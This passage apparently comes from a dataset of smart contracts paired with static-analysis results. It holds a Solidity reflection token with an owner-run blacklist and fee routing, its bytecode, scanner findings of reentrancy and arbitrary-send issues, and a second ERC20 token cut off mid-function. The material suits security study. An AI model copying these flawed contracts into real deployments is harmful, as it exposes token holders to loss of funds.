function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 4250000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146103c2578063c3c8cd8014610472578063c9567bf914610487578063d543dbeb1461049c578063dd62ed3e146104c657610114565b8063715018a61461032e5780638da5cb5b1461034357806395d89b4114610374578063a9059cbb1461038957610114565b8063273123b7116100dc578063273123b71461025a578063313ce5671461028f5780635932ead1146102ba5780636fc3eaec146102e657806370a08231146102fb57610114565b806306fdde0314610119578063095ea7b3146101a357806318160ddd146101f057806323b872dd1461021757610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610501565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610168578181015183820152602001610150565b50505050905090810190601f1680156101955780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101af57600080fd5b506101dc600480360360408110156101c657600080fd5b506001600160a01b038135169060200135610524565b604080519115158252519081900360200190f35b3480156101fc57600080fd5b50610205610542565b60408051918252519081900360200190f35b34801561022357600080fd5b506101dc6004803603606081101561023a57600080fd5b506001600160a01b0381358116916020810135909116906040013561054f565b34801561026657600080fd5b5061028d6004803603602081101561027d57600080fd5b50356001600160a01b03166105d6565b005b34801561029b57600080fd5b506102a461064f565b6040805160ff9092168252519081900360200190f35b3480156102c657600080fd5b5061028d600480360360208110156102dd57600080fd5b50351515610654565b3480156102f257600080fd5b5061028d6106ca565b34801561030757600080fd5b506102056004803603602081101561031e57600080fd5b50356001600160a01b03166106fe565b34801561033a57600080fd5b5061028d610768565b34801561034f57600080fd5b5061035861080a565b604080516001600160a01b039092168252519081900360200190f35b34801561038057600080fd5b5061012e610819565b34801561039557600080fd5b506101dc600480360360408110156103ac57600080fd5b506001600160a01b038135169060200135610838565b3480156103ce57600080fd5b5061028d600480360360208110156103e557600080fd5b81019060208101813564010000000081111561040057600080fd5b82018360208201111561041257600080fd5b8035906020019184602083028401116401000000008311171561043457600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092955061084c945050505050565b34801561047e57600080fd5b5061028d610900565b34801561049357600080fd5b5061028d61093d565b3480156104a857600080fd5b5061028d600480360360208110156104bf57600080fd5b5035610d24565b3480156104d257600080fd5b50610205600480360360408110156104e957600080fd5b506001600160a01b0381358116916020013516610e29565b60408051808201909152600981526814555251164b9b995d60ba1b602082015290565b6000610538610531610e54565b8484610e58565b5060015b92915050565b683635c9adc5dea0000090565b600061055c848484610f44565b6105cc84610568610e54565b6105c785604051806060016040528060288152602001611fbb602891396001600160a01b038a166000908152600460205260408120906105a6610e54565b6001600160a01b03168152602081019190915260400160002054919061131a565b610e58565b5060019392505050565b6105de610e54565b6000546001600160a01b0390811691161461062e576040805162461bcd60e51b81526020600482018190526024820152600080516020611fe3833981519152604482015290519081900360640190fd5b6001600160a01b03166000908152600760205260409020805460ff19169055565b600990565b61065c610e54565b6000546001600160a01b039081169116146106ac576040805162461bcd60e51b81526020600482018190526024820152600080516020611fe3833981519152604482015290519081900360640190fd5b60138054911515600160b81b0260ff60b81b19909216919091179055565b6010546001600160a01b03166106de610e54565b6001600160a01b0316146106f157600080fd5b476106fb816113b1565b50565b6001600160a01b03811660009081526006602052604081205460ff161561073e57506001600160a01b038116600090815260036020526040902054610763565b6001600160a01b03821660009081526002602052604090205461076090611436565b90505b919050565b610770610e54565b6000546001600160a01b039081169116146107c0576040805162461bcd60e51b81526020600482018190526024820152600080516020611fe3833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b604080518082019091526005815264515549445960d81b602082015290565b6000610538610845610e54565b8484610f44565b610854610e54565b6000546001600160a01b039081169116146108a4576040805162461bcd60e51b81526020600482018190526024820152600080516020611fe3833981519152604482015290519081900360640190fd5b60005b81518110156108fc576001600760008484815181106108c257fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790556001016108a7565b5050565b6010546001600160a01b0316610914610e54565b6001600160a01b03161461092757600080fd5b6000610932306106fe565b90506106fb81611496565b610945610e54565b6000546001600160a01b03908116911614610995576040805162461bcd60e51b81526020600482018190526024820152600080516020611fe3833981519152604482015290519081900360640190fd5b601354600160a01b900460ff16156109f4576040805162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015290519081900360640190fd5b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179182905590610a3d9030906001600160a01b0316683635c9adc5dea00000610e58565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a7657600080fd5b505afa158015610a8a573d6000803e3d6000fd5b505050506040513d6020811015610aa057600080fd5b5051604080516315ab88c960e31b815290516001600160a01b039283169263c9c653969230929186169163ad5c464891600480820192602092909190829003018186803b158015610af057600080fd5b505afa158015610b04573d6000803e3d6000fd5b505050506040513d6020811015610b1a57600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b158015610b6c57600080fd5b505af1158015610b80573d6000803e3d6000fd5b505050506040513d6020811015610b9657600080fd5b5051601380546001600160a01b0319166001600160a01b039283161790556012541663f305d7194730610bc8816106fe565b600080610bd361080a565b426040518863ffffffff1660e01b815260040180876001600160a01b03168152602001868152602001858152602001848152602001836001600160a01b0316815260200182815260200196505050505050506060604051808303818588803b158015610c3e57600080fd5b505af1158015610c52573d6000803e3d6000fd5b50505050506040513d6060811015610c6957600080fd5b505060138054673afb087b8769000060145563ff0000ff60a01b1960ff60b01b19909116600160b01b1716600160a01b17908190556012546040805163095ea7b360e01b81526001600160a01b03928316600482015260001960248201529051919092169163095ea7b39160448083019260209291908290030181600087803b158015610cf557600080fd5b505af1158015610d09573d6000803e3d6000fd5b505050506040513d6020811015610d1f57600080fd5b505050565b610d2c610e54565b6000546001600160a01b03908116911614610d7c576040805162461bcd60e51b81526020600482018190526024820152600080516020611fe3833981519152604482015290519081900360640190fd5b60008111610dd1576040805162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015290519081900360640190fd5b610def6064610de9683635c9adc5dea0000084611664565b906116bd565b601481905560408051918252517f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9181900360200190a150565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3390565b6001600160a01b038316610e9d5760405162461bcd60e51b81526004018080602001828103825260248152602001806120516024913960400191505060405180910390fd5b6001600160a01b038216610ee25760405162461bcd60e51b8152600401808060200182810382526022815260200180611f786022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610f895760405162461bcd60e51b815260040180806020018281038252602581526020018061202c6025913960400191505060405180910390fd5b6001600160a01b038216610fce5760405162461bcd60e51b8152600401808060200182810382526023815260200180611f2b6023913960400191505060405180910390fd5b6000811161100d5760405162461bcd60e51b81526004018080602001828103825260298152602001806120036029913960400191505060405180910390fd5b61101561080a565b6001600160a01b0316836001600160a01b03161415801561104f575061103961080a565b6001600160a01b0316826001600160a01b031614155b156112bd57601354600160b81b900460ff1615611149576001600160a01b038316301480159061108857506001600160a01b0382163014155b80156110a257506012546001600160a01b03848116911614155b80156110bc57506012546001600160a01b03838116911614155b15611149576012546001600160a01b03166110d5610e54565b6001600160a01b0316148061110457506013546001600160a01b03166110f9610e54565b6001600160a01b0316145b611149576040805162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b604482015290519081900360640190fd5b60145481111561115857600080fd5b6001600160a01b03831660009081526007602052604090205460ff1615801561119a57506001600160a01b03821660009081526007602052604090205460ff16155b6111a357600080fd5b6013546001600160a01b0384811691161480156111ce57506012546001600160a01b03838116911614155b80156111f357506001600160a01b03821660009081526005602052604090205460ff16155b80156112085750601354600160b81b900460ff165b15611250576001600160a01b038216600090815260086020526040902054421161123157600080fd5b6001600160a01b0382166000908152600860205260409020601e420190555b600061125b306106fe565b601354909150600160a81b900460ff1615801561128657506013546001600160a01b03858116911614155b801561129b5750601354600160b01b900460ff165b156112bb576112a981611496565b4780156112b9576112b9476113b1565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff16806112ff57506001600160a01b03831660009081526005602052604090205460ff165b15611308575060005b611314848484846116ff565b50505050565b600081848411156113a95760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561136e578181015183820152602001611356565b50505050905090810190601f16801561139b5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6010546001600160a01b03166108fc6113cb8360026116bd565b6040518115909202916000818181858888f193505050501580156113f3573d6000803e3d6000fd5b506011546001600160a01b03166108fc61140e8360026116bd565b6040518115909202916000818181858888f193505050501580156108fc573d6000803e3d6000fd5b6000600a548211156114795760405162461bcd60e51b815260040180806020018281038252602a815260200180611f4e602a913960400191505060405180910390fd5b600061148361181b565b905061148f83826116bd565b9392505050565b6013805460ff60a81b1916600160a81b179055604080516002808252606080830184529260208301908036833701905050905030816000815181106114d757fe5b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561152b57600080fd5b505afa15801561153f573d6000803e3d6000fd5b505050506040513d602081101561155557600080fd5b505181518290600190811061156657fe5b6001600160a01b03928316602091820292909201015260125461158c9130911684610e58565b60125460405163791ac94760e01b8152600481018481526000602483018190523060648401819052426084850181905260a060448601908152875160a487015287516001600160a01b039097169663791ac947968a968a9594939092909160c40190602080880191028083838b5b838110156116125781810151838201526020016115fa565b505050509050019650505050505050600060405180830381600087803b15801561163b57600080fd5b505af115801561164f573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b6000826116735750600061053c565b8282028284828161168057fe5b041461148f5760405162461bcd60e51b8152600401808060200182810382526021815260200180611f9a6021913960400191505060405180910390fd5b600061148f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061183e565b8061170c5761170c6118a3565b6001600160a01b03841660009081526006602052604090205460ff16801561174d57506001600160a01b03831660009081526006602052604090205460ff16155b156117625761175d8484846118d5565b61180e565b6001600160a01b03841660009081526006602052604090205460ff161580156117a357506001600160a01b03831660009081526006602052604090205460ff165b156117b35761175d8484846119f9565b6001600160a01b03841660009081526006602052604090205460ff1680156117f357506001600160a01b03831660009081526006602052604090205460ff165b156118035761175d848484611aa2565b61180e848484611b15565b8061131457611314611b59565b6000806000611828611b67565b909250905061183782826116bd565b9250505090565b6000818361188d5760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561136e578181015183820152602001611356565b50600083858161189957fe5b0495945050505050565b600c541580156118b35750600d54155b156118bd576118d3565b600c8054600e55600d8054600f55600091829055555b565b6000806000806000806118e787611ce6565b6001600160a01b038f16600090815260036020526040902054959b509399509197509550935091506119199088611d43565b6001600160a01b038a166000908152600360209081526040808320939093556002905220546119489087611d43565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546119779086611d85565b6001600160a01b03891660009081526002602052604090205561199981611ddf565b6119a38483611e67565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080611a0b87611ce6565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611a3d9087611d43565b6001600160a01b03808b16600090815260026020908152604080832094909455918b16815260039091522054611a739084611d85565b6001600160a01b0389166000908152600360209081526040808320939093556002905220546119779086611d85565b600080600080600080611ab487611ce6565b6001600160a01b038f16600090815260036020526040902054959b50939950919750955093509150611ae69088611d43565b6001600160a01b038a16600090815260036020908152604080832093909355600290522054611a3d9087611d43565b600080600080600080611b2787611ce6565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506119489087611d43565b600e54600c55600f54600d55565b600a546000908190683635c9adc5dea00000825b600954811015611ca657826002600060098481548110611b9757fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020541180611bfc5750816003600060098481548110611bd557fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b15611c1a57600a54683635c9adc5dea0000094509450505050611ce2565b611c5a6002600060098481548110611c2e57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548490611d43565b9250611c9c6003600060098481548110611c7057fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548390611d43565b9150600101611b7b565b50600a54611cbd90683635c9adc5dea000006116bd565b821015611cdc57600a54683635c9adc5dea00000935093505050611ce2565b90925090505b9091565b6000806000806000806000806000611d038a600c54600d54611e8b565b9250925092506000611d1361181b565b90506000806000611d268e878787611eda565b919e509c509a509598509396509194505050505091939550919395565b600061148f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061131a565b60008282018381101561148f576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000611de961181b565b90506000611df78383611664565b30600090815260026020526040902054909150611e149082611d85565b3060009081526002602090815260408083209390935560069052205460ff1615610d1f5730600090815260036020526040902054611e529084611d85565b30600090815260036020526040902055505050565b600a54611e749083611d43565b600a55600b54611e849082611d85565b600b555050565b6000808080611e9f6064610de98989611664565b90506000611eb26064610de98a89611664565b90506000611eca82611ec48b86611d43565b90611d43565b9992985090965090945050505050565b6000808080611ee98886611664565b90506000611ef78887611664565b90506000611f058888611664565b90506000611f1782611ec48686611d43565b939b939a5091985091965050505050505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220122e7908121d87265bdbc38f65d6ff789d84d7b04daa0c393afc956c8c0d4e7f64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,421 |
0x7dc0f35531385111205d1520fd379aa68ddacbd5
|
pragma solidity ^0.4.16;
// Ultroneum tokens Smart contract based on the full ERC20 Token standard
// https://github.com/ethereum/EIPs/issues/20
// Verified Status: ERC20 Verified Token
// Ultroneum tokens Symbol: XUM
contract ULTRONEUMToken {
/* This is a slight change to the ERC20 base standard.
function totalSupply() constant returns (uint256 supply);
is replaced with:
uint256 public totalSupply;
This automatically creates a getter function for the totalSupply.
This is moved to the base contract since public getter functions are not
currently recognised as an implementation of the matching abstract
function by the compiler.
*/
/// total amount of tokens
uint256 public totalSupply;
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/**
* Ultroneum tokens Math operations with safety checks to avoid unnecessary conflicts
*/
library ABCMaths {
// Saftey Checks for Multiplication Tasks
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
// Saftey Checks for Divison Tasks
function div(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
// Saftey Checks for Subtraction Tasks
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
// Saftey Checks for Addition Tasks
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c>=a && c>=b);
return c;
}
}
contract Ownable {
address public owner;
address public newOwner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
// validates an address - currently only checks that it isn't null
modifier validAddress(address _address) {
require(_address != 0x0);
_;
}
function transferOwnership(address _newOwner) onlyOwner {
if (_newOwner != address(0)) {
owner = _newOwner;
}
}
function acceptOwnership() {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
event OwnershipTransferred(address indexed _from, address indexed _to);
}
contract XUMStandardToken is ULTRONEUMToken, Ownable {
using ABCMaths for uint256;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function freezeAccount(address target, bool freeze) onlyOwner {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function transfer(address _to, uint256 _value) returns (bool success) {
if (frozenAccount[msg.sender]) return false;
require(
(balances[msg.sender] >= _value) // Check if the sender has enough
&& (_value > 0) // Don't allow 0value transfer
&& (_to != address(0)) // Prevent transfer to 0x0 address
&& (balances[_to].add(_value) >= balances[_to]) // Check for overflows
&& (msg.data.length >= (2 * 32) + 4)); //mitigates the ERC20 short address attack
//most of these things are not necesary
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (frozenAccount[msg.sender]) return false;
require(
(allowed[_from][msg.sender] >= _value) // Check allowance
&& (balances[_from] >= _value) // Check if the sender has enough
&& (_value > 0) // Don't allow 0value transfer
&& (_to != address(0)) // Prevent transfer to 0x0 address
&& (balances[_to].add(_value) >= balances[_to]) // Check for overflows
&& (msg.data.length >= (2 * 32) + 4) //mitigates the ERC20 short address attack
//most of these things are not necesary
);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool success) {
/* To change the approve amount you first have to reduce the addresses`
* allowance to zero by calling `approve(_spender, 0)` if it is not
* already 0 to mitigate the race condition described here:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 */
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
// Notify anyone listening that this approval done
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract ULTRONEUM is XUMStandardToken {
/* Public variables of the token */
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
uint256 constant public decimals = 8;
uint256 public totalSupply = 15 * (10**7) * 10**8 ; // 150 million tokens, 8 decimal places,
string constant public name = "Ultroneum Token";
string constant public symbol = "XUM";
function ULTRONEUM(){
balances[msg.sender] = totalSupply; // Give the creator all initial tokens
}
/* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
//call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this.
//receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)
//it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead.
